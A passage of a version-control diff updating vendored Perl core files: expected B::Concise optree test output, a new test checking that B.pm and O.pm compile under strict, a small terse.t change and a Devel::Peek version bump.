-# o           <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ ->p
-# t           <1> entersub[t1] KRS*/TARG,STRICT ->u
-# p              <0> pushmark s ->q
-# q              <$> const(PV "warnings") sM ->r
-# r              <$> const(PV "qw") sM ->s
-# s              <.> method_named(PV "unimport") ->t
+# l           <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ ->m
+# q           <1> entersub[t1] KRS*/TARG,STRICT ->r
+# m              <0> pushmark s ->n
+# n              <$> const(PV "strict") sM ->o
+# o              <$> const(PV "refs") sM ->p
+# p              <.> method_named(PV "unimport") ->q
 # BEGIN 4:
-# y  <1> leavesub[1 ref] K/REFC,1 ->(end)
-# -     <@> lineseq KP ->y
-# v        <;> nextstate(main 2 -e:1) v:>,<,%,{ ->w
-# x        <1> postinc[t2] sK/1 ->y
-# -           <1> ex-rv2sv sKRM/1 ->x
-# w              <$> gvsv(*beg) s ->x
+# 11 <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->11
+# s        <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->t
+# u        <1> require sK/1 ->v
+# t           <$> const(PV "strict.pm") s/BARE ->u
+# -        <;> ex-nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->v
+# -        <@> lineseq K ->-
+# v           <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ ->w
+# 10          <1> entersub[t1] KRS*/TARG,STRICT ->11
+# w              <0> pushmark s ->x
+# x              <$> const(PV "strict") sM ->y
+# y              <$> const(PV "refs") sM ->z
+# z              <.> method_named(PV "unimport") ->10
+# BEGIN 5:
+# 1b <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq K ->1b
+# 12       <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->13
+# 14       <1> require sK/1 ->15
+# 13          <$> const(PV "strict.pm") s/BARE ->14
+# -        <;> ex-nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->15
+# -        <@> lineseq K ->-
+# 15          <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ ->16
+# 1a          <1> entersub[t1] KRS*/TARG,STRICT ->1b
+# 16             <0> pushmark s ->17
+# 17             <$> const(PV "strict") sM ->18
+# 18             <$> const(PV "refs") sM ->19
+# 19             <.> method_named(PV "unimport") ->1a
+# BEGIN 6:
+# 1l <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->1l
+# 1c       <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1d
+# 1e       <1> require sK/1 ->1f
+# 1d          <$> const(PV "warnings.pm") s/BARE ->1e
+# -        <;> ex-nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1f
+# -        <@> lineseq K ->-
+# 1f          <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ ->1g
+# 1k          <1> entersub[t1] KRS*/TARG,STRICT ->1l
+# 1g             <0> pushmark s ->1h
+# 1h             <$> const(PV "warnings") sM ->1i
+# 1i             <$> const(PV "qw") sM ->1j
+# 1j             <.> method_named(PV "unimport") ->1k
+# BEGIN 7:
+# 1p <1> leavesub[1 ref] K/REFC,1 ->(end)
+# -     <@> lineseq KP ->1p
+# 1m       <;> nextstate(main 3 -e:1) v:>,<,%,{ ->1n
+# 1o       <1> postinc[t2] sK/1 ->1p
+# -           <1> ex-rv2sv sKRM/1 ->1o
+# 1n             <$> gvsv(*beg) s ->1o
 EONT_EONT
 
-
 checkOptree ( name	=> 'END',
 	      bcopts	=> 'END',
 	      prog	=> $src,
@@ -163,7 +244,6 @@
 # 2              <$> gvsv(*end) s ->3
 EONT_EONT
 
-
 checkOptree ( name	=> 'CHECK',
 	      bcopts	=> 'CHECK',
 	      prog	=> $src,
@@ -231,7 +311,6 @@
 # 2              <$> gvsv(*init) s ->3
 EONT_EONT
 
-
 checkOptree ( name	=> 'all of BEGIN END INIT CHECK UNITCHECK -exec',
 	      bcopts	=> [qw/ BEGIN END INIT CHECK UNITCHECK -exec /],
 	      prog	=> $src,
@@ -238,129 +317,186 @@
 	      strip_open_hints => 1,
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # BEGIN 1:
-# 1  <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$
-# 2  <$> const[PV "strict.pm"] s/BARE
-# 3  <1> require sK/1
-# 4  <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$
-# 5  <0> pushmark s
-# 6  <$> const[PV "strict"] sM
-# 7  <$> const[PV "refs"] sM
-# 8  <.> method_named[PV "unimport"] 
-# 9  <1> entersub[t1] KRS*/TARG,STRICT
-# a  <1> leavesub[1 ref] K/REFC,1
+# 1  <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$
+# 2  <#> gv[*STDOUT] s
+# 3  <1> rv2gv sKRM/STRICT,1
+# 4  <1> srefgen sK/1
+# 5  <#> gvsv[*B::Concise::walkHandle] s
+# 6  <2> sassign sKS/2
+# 7  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 2:
-# b  <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$
-# c  <$> const[PV "strict.pm"] s/BARE
-# d  <1> require sK/1
-# e  <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$
-# f  <0> pushmark s
-# g  <$> const[PV "strict"] sM
-# h  <$> const[PV "refs"] sM
-# i  <.> method_named[PV "unimport"] 
-# j  <1> entersub[t1] KRS*/TARG,STRICT
-# k  <1> leavesub[1 ref] K/REFC,1
+# 8  <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$
+# 9  <$> const[PV "strict.pm"] s/BARE
+# a  <1> require sK/1
+# b  <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$
+# c  <0> pushmark s
+# d  <$> const[PV "strict"] sM
+# e  <$> const[PV "refs"] sM
+# f  <.> method_named[PV "unimport"] 
+# g  <1> entersub[t1] KRS*/TARG,STRICT
+# h  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 3:
-# l  <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$
-# m  <$> const[PV "warnings.pm"] s/BARE
-# n  <1> require sK/1
-# o  <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$
-# p  <0> pushmark s
-# q  <$> const[PV "warnings"] sM
-# r  <$> const[PV "qw"] sM
-# s  <.> method_named[PV "unimport"] 
-# t  <1> entersub[t1] KRS*/TARG,STRICT
-# u  <1> leavesub[1 ref] K/REFC,1
+# i  <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$
+# j  <$> const[PV "strict.pm"] s/BARE
+# k  <1> require sK/1
+# l  <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$
+# m  <0> pushmark s
+# n  <$> const[PV "strict"] sM
+# o  <$> const[PV "refs"] sM
+# p  <.> method_named[PV "unimport"] 
+# q  <1> entersub[t1] KRS*/TARG,STRICT
+# r  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 4:
-# v  <;> nextstate(main 2 -e:1) v:>,<,%,{
-# w  <#> gvsv[*beg] s
-# x  <1> postinc[t3] sK/1
-# y  <1> leavesub[1 ref] K/REFC,1
+# s  <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$
+# t  <$> const[PV "strict.pm"] s/BARE
+# u  <1> require sK/1
+# v  <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$
+# w  <0> pushmark s
+# x  <$> const[PV "strict"] sM
+# y  <$> const[PV "refs"] sM
+# z  <.> method_named[PV "unimport"] 
+# 10 <1> entersub[t1] KRS*/TARG,STRICT
+# 11 <1> leavesub[1 ref] K/REFC,1
+# BEGIN 5:
+# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$
+# 13 <$> const[PV "strict.pm"] s/BARE
+# 14 <1> require sK/1
+# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$
+# 16 <0> pushmark s
+# 17 <$> const[PV "strict"] sM
+# 18 <$> const[PV "refs"] sM
+# 19 <.> method_named[PV "unimport"] 
+# 1a <1> entersub[t1] KRS*/TARG,STRICT
+# 1b <1> leavesub[1 ref] K/REFC,1
+# BEGIN 6:
+# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$
+# 1d <$> const[PV "warnings.pm"] s/BARE
+# 1e <1> require sK/1
+# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$
+# 1g <0> pushmark s
+# 1h <$> const[PV "warnings"] sM
+# 1i <$> const[PV "qw"] sM
+# 1j <.> method_named[PV "unimport"] 
+# 1k <1> entersub[t1] KRS*/TARG,STRICT
+# 1l <1> leavesub[1 ref] K/REFC,1
+# BEGIN 7:
+# 1m <;> nextstate(main 3 -e:1) v:>,<,%,{
+# 1n <#> gvsv[*beg] s
+# 1o <1> postinc[t3] sK/1
+# 1p <1> leavesub[1 ref] K/REFC,1
 # END 1:
-# z  <;> nextstate(main 5 -e:1) v:>,<,%,{
-# 10 <#> gvsv[*end] s
-# 11 <1> postinc[t3] sK/1
-# 12 <1> leavesub[1 ref] K/REFC,1
+# 1q <;> nextstate(main 9 -e:1) v:>,<,%,{
+# 1r <#> gvsv[*end] s
+# 1s <1> postinc[t3] sK/1
+# 1t <1> leavesub[1 ref] K/REFC,1
 # INIT 1:
-# 13 <;> nextstate(main 4 -e:1) v:>,<,%,{
-# 14 <#> gvsv[*init] s
-# 15 <1> postinc[t3] sK/1
-# 16 <1> leavesub[1 ref] K/REFC,1
+# 1u <;> nextstate(main 7 -e:1) v:>,<,%,{
+# 1v <#> gvsv[*init] s
+# 1w <1> postinc[t3] sK/1
+# 1x <1> leavesub[1 ref] K/REFC,1
 # CHECK 1:
-# 17 <;> nextstate(main 3 -e:1) v:>,<,%,{
-# 18 <#> gvsv[*chk] s
-# 19 <1> postinc[t3] sK/1
-# 1a <1> leavesub[1 ref] K/REFC,1
+# 1y <;> nextstate(main 5 -e:1) v:>,<,%,{
+# 1z <#> gvsv[*chk] s
+# 20 <1> postinc[t3] sK/1
+# 21 <1> leavesub[1 ref] K/REFC,1
 # UNITCHECK 1:
-# 1b <;> nextstate(main 6 -e:1) v:>,<,%,{
-# 1c <#> gvsv[*uc] s
-# 1d <1> postinc[t3] sK/1
-# 1e <1> leavesub[1 ref] K/REFC,1
+# 22 <;> nextstate(main 11 -e:1) v:>,<,%,{
+# 23 <#> gvsv[*uc] s
+# 24 <1> postinc[t3] sK/1
+# 25 <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
 # BEGIN 1:
-# 1  <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$
-# 2  <$> const(PV "strict.pm") s/BARE
-# 3  <1> require sK/1
-# 4  <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$
-# 5  <0> pushmark s
-# 6  <$> const(PV "strict") sM
-# 7  <$> const(PV "refs") sM
-# 8  <.> method_named(PV "unimport") 
-# 9  <1> entersub[t1] KRS*/TARG,STRICT
-# a  <1> leavesub[1 ref] K/REFC,1
+# 1  <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$
+# 2  <$> gv(*STDOUT) s
+# 3  <1> rv2gv sKRM/STRICT,1
+# 4  <1> srefgen sK/1
+# 5  <$> gvsv(*B::Concise::walkHandle) s
+# 6  <2> sassign sKS/2
+# 7  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 2:
-# b  <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$
-# c  <$> const(PV "strict.pm") s/BARE
-# d  <1> require sK/1
-# e  <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$
-# f  <0> pushmark s
-# g  <$> const(PV "strict") sM
-# h  <$> const(PV "refs") sM
-# i  <.> method_named(PV "unimport") 
-# j  <1> entersub[t1] KRS*/TARG,STRICT
-# k  <1> leavesub[1 ref] K/REFC,1
+# 8  <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$
+# 9  <$> const(PV "strict.pm") s/BARE
+# a  <1> require sK/1
+# b  <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$
+# c  <0> pushmark s
+# d  <$> const(PV "strict") sM
+# e  <$> const(PV "refs") sM
+# f  <.> method_named(PV "unimport") 
+# g  <1> entersub[t1] KRS*/TARG,STRICT
+# h  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 3:
-# l  <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$
-# m  <$> const(PV "warnings.pm") s/BARE
-# n  <1> require sK/1
-# o  <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$
-# p  <0> pushmark s
-# q  <$> const(PV "warnings") sM
-# r  <$> const(PV "qw") sM
-# s  <.> method_named(PV "unimport") 
-# t  <1> entersub[t1] KRS*/TARG,STRICT
-# u  <1> leavesub[1 ref] K/REFC,1
+# i  <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$
+# j  <$> const(PV "strict.pm") s/BARE
+# k  <1> require sK/1
+# l  <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$
+# m  <0> pushmark s
+# n  <$> const(PV "strict") sM
+# o  <$> const(PV "refs") sM
+# p  <.> method_named(PV "unimport") 
+# q  <1> entersub[t1] KRS*/TARG,STRICT
+# r  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 4:
-# v  <;> nextstate(main 2 -e:1) v:>,<,%,{
-# w  <$> gvsv(*beg) s
-# x  <1> postinc[t2] sK/1
-# y  <1> leavesub[1 ref] K/REFC,1
+# s  <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$
+# t  <$> const(PV "strict.pm") s/BARE
+# u  <1> require sK/1
+# v  <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$
+# w  <0> pushmark s
+# x  <$> const(PV "strict") sM
+# y  <$> const(PV "refs") sM
+# z  <.> method_named(PV "unimport") 
+# 10 <1> entersub[t1] KRS*/TARG,STRICT
+# 11 <1> leavesub[1 ref] K/REFC,1
+# BEGIN 5:
+# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$
+# 13 <$> const(PV "strict.pm") s/BARE
+# 14 <1> require sK/1
+# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$
+# 16 <0> pushmark s
+# 17 <$> const(PV "strict") sM
+# 18 <$> const(PV "refs") sM
+# 19 <.> method_named(PV "unimport") 
+# 1a <1> entersub[t1] KRS*/TARG,STRICT
+# 1b <1> leavesub[1 ref] K/REFC,1
+# BEGIN 6:
+# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$
+# 1d <$> const(PV "warnings.pm") s/BARE
+# 1e <1> require sK/1
+# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$
+# 1g <0> pushmark s
+# 1h <$> const(PV "warnings") sM
+# 1i <$> const(PV "qw") sM
+# 1j <.> method_named(PV "unimport") 
+# 1k <1> entersub[t1] KRS*/TARG,STRICT
+# 1l <1> leavesub[1 ref] K/REFC,1
+# BEGIN 7:
+# 1m <;> nextstate(main 3 -e:1) v:>,<,%,{
+# 1n <$> gvsv(*beg) s
+# 1o <1> postinc[t2] sK/1
+# 1p <1> leavesub[1 ref] K/REFC,1
 # END 1:
-# z  <;> nextstate(main 5 -e:1) v:>,<,%,{
-# 10 <$> gvsv(*end) s
-# 11 <1> postinc[t2] sK/1
-# 12 <1> leavesub[1 ref] K/REFC,1
+# 1q <;> nextstate(main 9 -e:1) v:>,<,%,{
+# 1r <$> gvsv(*end) s
+# 1s <1> postinc[t2] sK/1
+# 1t <1> leavesub[1 ref] K/REFC,1
 # INIT 1:
-# 13 <;> nextstate(main 4 -e:1) v:>,<,%,{
-# 14 <$> gvsv(*init) s
-# 15 <1> postinc[t2] sK/1
-# 16 <1> leavesub[1 ref] K/REFC,1
+# 1u <;> nextstate(main 7 -e:1) v:>,<,%,{
+# 1v <$> gvsv(*init) s
+# 1w <1> postinc[t2] sK/1
+# 1x <1> leavesub[1 ref] K/REFC,1
 # CHECK 1:
-# 17 <;> nextstate(main 3 -e:1) v:>,<,%,{
-# 18 <$> gvsv(*chk) s
-# 19 <1> postinc[t2] sK/1
-# 1a <1> leavesub[1 ref] K/REFC,1
+# 1y <;> nextstate(main 5 -e:1) v:>,<,%,{
+# 1z <$> gvsv(*chk) s
+# 20 <1> postinc[t2] sK/1
+# 21 <1> leavesub[1 ref] K/REFC,1
 # UNITCHECK 1:
-# 1b <;> nextstate(main 6 -e:1) v:>,<,%,{
-# 1c <$> gvsv(*uc) s
-# 1d <1> postinc[t2] sK/1
-# 1e <1> leavesub[1 ref] K/REFC,1
+# 22 <;> nextstate(main 11 -e:1) v:>,<,%,{
+# 23 <$> gvsv(*uc) s
+# 24 <1> postinc[t2] sK/1
+# 25 <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
 
-
 # perl "-I../lib" -MO=Concise,BEGIN,CHECK,INIT,END,-exec -e '$a=$b && print q/foo/'
 
-
-
 checkOptree ( name	=> 'regression test for patch 25352',
 	      bcopts	=> [qw/ BEGIN END INIT CHECK -exec /],
 	      prog	=> 'print q/foo/',
@@ -367,69 +503,129 @@
 	      expect	=> <<'EOT_EOT', expect_nt => <<'EONT_EONT');
 # BEGIN 1:
 # 1  <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$
-# 2  <$> const[PV "strict.pm"] s/BARE
-# 3  <1> require sK/1
-# 4  <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$
-# 5  <0> pushmark s
-# 6  <$> const[PV "strict"] sM
-# 7  <$> const[PV "refs"] sM
-# 8  <.> method_named[PV "unimport"] 
-# 9  <1> entersub[t1] KRS*/TARG,STRICT
-# a  <1> leavesub[1 ref] K/REFC,1
+# 2  <#> gv[*STDOUT] s
+# 3  <1> rv2gv sKRM/STRICT,1
+# 4  <1> srefgen sK/1
+# 5  <#> gvsv[*B::Concise::walkHandle] s
+# 6  <2> sassign sKS/2
+# 7  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 2:
-# b  <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$
-# c  <$> const[PV "strict.pm"] s/BARE
-# d  <1> require sK/1
-# e  <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$
-# f  <0> pushmark s
-# g  <$> const[PV "strict"] sM
-# h  <$> const[PV "refs"] sM
-# i  <.> method_named[PV "unimport"] 
-# j  <1> entersub[t1] KRS*/TARG,STRICT
-# k  <1> leavesub[1 ref] K/REFC,1
+# 8  <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$
+# 9  <$> const[PV "strict.pm"] s/BARE
+# a  <1> require sK/1
+# b  <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$
+# c  <0> pushmark s
+# d  <$> const[PV "strict"] sM
+# e  <$> const[PV "refs"] sM
+# f  <.> method_named[PV "unimport"] 
+# g  <1> entersub[t1] KRS*/TARG,STRICT
+# h  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 3:
-# l  <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$
-# m  <$> const[PV "warnings.pm"] s/BARE
-# n  <1> require sK/1
-# o  <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$
-# p  <0> pushmark s
-# q  <$> const[PV "warnings"] sM
-# r  <$> const[PV "qw"] sM
-# s  <.> method_named[PV "unimport"] 
-# t  <1> entersub[t1] KRS*/TARG,STRICT
-# u  <1> leavesub[1 ref] K/REFC,1
+# i  <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$
+# j  <$> const[PV "strict.pm"] s/BARE
+# k  <1> require sK/1
+# l  <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$
+# m  <0> pushmark s
+# n  <$> const[PV "strict"] sM
+# o  <$> const[PV "refs"] sM
+# p  <.> method_named[PV "unimport"] 
+# q  <1> entersub[t1] KRS*/TARG,STRICT
+# r  <1> leavesub[1 ref] K/REFC,1
+# BEGIN 4:
+# s  <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$
+# t  <$> const[PV "strict.pm"] s/BARE
+# u  <1> require sK/1
+# v  <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$
+# w  <0> pushmark s
+# x  <$> const[PV "strict"] sM
+# y  <$> const[PV "refs"] sM
+# z  <.> method_named[PV "unimport"] 
+# 10 <1> entersub[t1] KRS*/TARG,STRICT
+# 11 <1> leavesub[1 ref] K/REFC,1
+# BEGIN 5:
+# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$
+# 13 <$> const[PV "strict.pm"] s/BARE
+# 14 <1> require sK/1
+# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$
+# 16 <0> pushmark s
+# 17 <$> const[PV "strict"] sM
+# 18 <$> const[PV "refs"] sM
+# 19 <.> method_named[PV "unimport"] 
+# 1a <1> entersub[t1] KRS*/TARG,STRICT
+# 1b <1> leavesub[1 ref] K/REFC,1
+# BEGIN 6:
+# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$
+# 1d <$> const[PV "warnings.pm"] s/BARE
+# 1e <1> require sK/1
+# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$
+# 1g <0> pushmark s
+# 1h <$> const[PV "warnings"] sM
+# 1i <$> const[PV "qw"] sM
+# 1j <.> method_named[PV "unimport"] 
+# 1k <1> entersub[t1] KRS*/TARG,STRICT
+# 1l <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
 # BEGIN 1:
-# 1  <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$
-# 2  <$> const(PV "strict.pm") s/BARE
-# 3  <1> require sK/1
-# 4  <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$
-# 5  <0> pushmark s
-# 6  <$> const(PV "strict") sM
-# 7  <$> const(PV "refs") sM
-# 8  <.> method_named(PV "unimport") 
-# 9  <1> entersub[t1] KRS*/TARG,STRICT
-# a  <1> leavesub[1 ref] K/REFC,1
+# 1  <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$
+# 2  <$> gv(*STDOUT) s
+# 3  <1> rv2gv sKRM/STRICT,1
+# 4  <1> srefgen sK/1
+# 5  <$> gvsv(*B::Concise::walkHandle) s
+# 6  <2> sassign sKS/2
+# 7  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 2:
-# b  <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$
-# c  <$> const(PV "strict.pm") s/BARE
-# d  <1> require sK/1
-# e  <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$
-# f  <0> pushmark s
-# g  <$> const(PV "strict") sM
-# h  <$> const(PV "refs") sM
-# i  <.> method_named(PV "unimport") 
-# j  <1> entersub[t1] KRS*/TARG,STRICT
-# k  <1> leavesub[1 ref] K/REFC,1
+# 8  <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$
+# 9  <$> const(PV "strict.pm") s/BARE
+# a  <1> require sK/1
+# b  <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$
+# c  <0> pushmark s
+# d  <$> const(PV "strict") sM
+# e  <$> const(PV "refs") sM
+# f  <.> method_named(PV "unimport") 
+# g  <1> entersub[t1] KRS*/TARG,STRICT
+# h  <1> leavesub[1 ref] K/REFC,1
 # BEGIN 3:
-# l  <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$
-# m  <$> const(PV "warnings.pm") s/BARE
-# n  <1> require sK/1
-# o  <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$
-# p  <0> pushmark s
-# q  <$> const(PV "warnings") sM
-# r  <$> const(PV "qw") sM
-# s  <.> method_named(PV "unimport") 
-# t  <1> entersub[t1] KRS*/TARG,STRICT
-# u  <1> leavesub[1 ref] K/REFC,1
+# i  <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$
+# j  <$> const(PV "strict.pm") s/BARE
+# k  <1> require sK/1
+# l  <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$
+# m  <0> pushmark s
+# n  <$> const(PV "strict") sM
+# o  <$> const(PV "refs") sM
+# p  <.> method_named(PV "unimport") 
+# q  <1> entersub[t1] KRS*/TARG,STRICT
+# r  <1> leavesub[1 ref] K/REFC,1
+# BEGIN 4:
+# s  <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$
+# t  <$> const(PV "strict.pm") s/BARE
+# u  <1> require sK/1
+# v  <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$
+# w  <0> pushmark s
+# x  <$> const(PV "strict") sM
+# y  <$> const(PV "refs") sM
+# z  <.> method_named(PV "unimport") 
+# 10 <1> entersub[t1] KRS*/TARG,STRICT
+# 11 <1> leavesub[1 ref] K/REFC,1
+# BEGIN 5:
+# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$
+# 13 <$> const(PV "strict.pm") s/BARE
+# 14 <1> require sK/1
+# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$
+# 16 <0> pushmark s
+# 17 <$> const(PV "strict") sM
+# 18 <$> const(PV "refs") sM
+# 19 <.> method_named(PV "unimport") 
+# 1a <1> entersub[t1] KRS*/TARG,STRICT
+# 1b <1> leavesub[1 ref] K/REFC,1
+# BEGIN 6:
+# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$
+# 1d <$> const(PV "warnings.pm") s/BARE
+# 1e <1> require sK/1
+# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$
+# 1g <0> pushmark s
+# 1h <$> const(PV "warnings") sM
+# 1i <$> const(PV "qw") sM
+# 1j <.> method_named(PV "unimport") 
+# 1k <1> entersub[t1] KRS*/TARG,STRICT
+# 1l <1> leavesub[1 ref] K/REFC,1
 EONT_EONT

Added: vendor/perl/dist/ext/B/t/strict.t
===================================================================
--- vendor/perl/dist/ext/B/t/strict.t	                        (rev 0)
+++ vendor/perl/dist/ext/B/t/strict.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,30 @@
+#!./perl -w
+
+use strict;
+use warnings;
+
+use Config;
+use Test::More;
+
+BEGIN {
+    if ( ( $Config{'extensions'} !~ /\sB\s/ ) ) {
+        plan skip_all => "Perl was not compiled with B";
+        exit 0;
+    }
+}
+
+use strict;
+use warnings;
+
+use B ();
+use O ();
+
+foreach my $module (qw/B O/) {
+    my $path  = $INC{ $module . '.pm' };
+    my $check = "$^X -cw -Mstrict $path 2>&1";
+    my $got   = `$check`;
+    is( $got, "$path syntax OK\n", "$module.pm compiles without errors" )
+      or diag($got);
+}
+
+done_testing();

Modified: vendor/perl/dist/ext/B/t/terse.t
===================================================================
--- vendor/perl/dist/ext/B/t/terse.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/terse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -63,7 +63,7 @@
 # add it to the regex above too. (PADOPs are currently only produced
 # under ithreads, though).
 #
-use vars qw( $a $b );
+our ( $a, $b );
 sub bar {
 	# OP SVOP COP IV here or in sub definition
 	my @bar = (1, 2, 3);
@@ -92,11 +92,7 @@
 # Schwern's example of finding an RV
 my $path = join " ", map { qq["-I$_"] } @INC;
 my $items = qx{$^X $path "-MO=Terse" -le "print \\42" 2>&1};
-if( $] >= 5.011 ) {
-    like( $items, qr/IV $hex \\42/, 'RV (but now stored in an IV)' );
-} else {
-    like( $items, qr/RV $hex \\42/, 'RV' );
-}
+like( $items, qr/IV $hex \\42/, 'RV (but now stored in an IV)' );
 
 package TieOut;
 

Modified: vendor/perl/dist/ext/Devel-Peek/Peek.pm
===================================================================
--- vendor/perl/dist/ext/Devel-Peek/Peek.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Devel-Peek/Peek.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 package Devel::Peek;
 
-$VERSION = '1.26';
+$VERSION = '1.27';
 $XS_VERSION = $VERSION;
 $VERSION = eval $VERSION;
 

Modified: vendor/perl/dist/ext/Devel-Peek/Peek.xs
===================================================================
--- vendor/perl/dist/ext/Devel-Peek/Peek.xs	2018-11-30 20:25:27 UTC (rev 12125)
